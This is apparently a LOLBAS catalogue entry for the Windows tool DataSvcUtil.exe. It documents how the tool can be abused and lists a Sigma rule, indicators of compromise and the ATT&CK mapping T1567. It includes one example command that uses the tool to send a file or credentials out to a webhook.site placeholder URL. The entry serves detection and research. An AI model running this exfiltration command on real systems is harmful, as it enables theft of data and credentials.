.. /DataSvcUtil.exe

Upload

DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.

Paths:
C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe

Resources:

- https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
- https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
- https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services

Acknowledgements:

- Ialle Teixeira (@NtSetDefault)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml
- IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.
- IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.

Upload

Upload file, credentials or data exfiltration in general

```
DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile
```

Use case:	Upload file
Privileges required:	User
Operating systems:	Windows 10
ATT&CK® technique:	T1567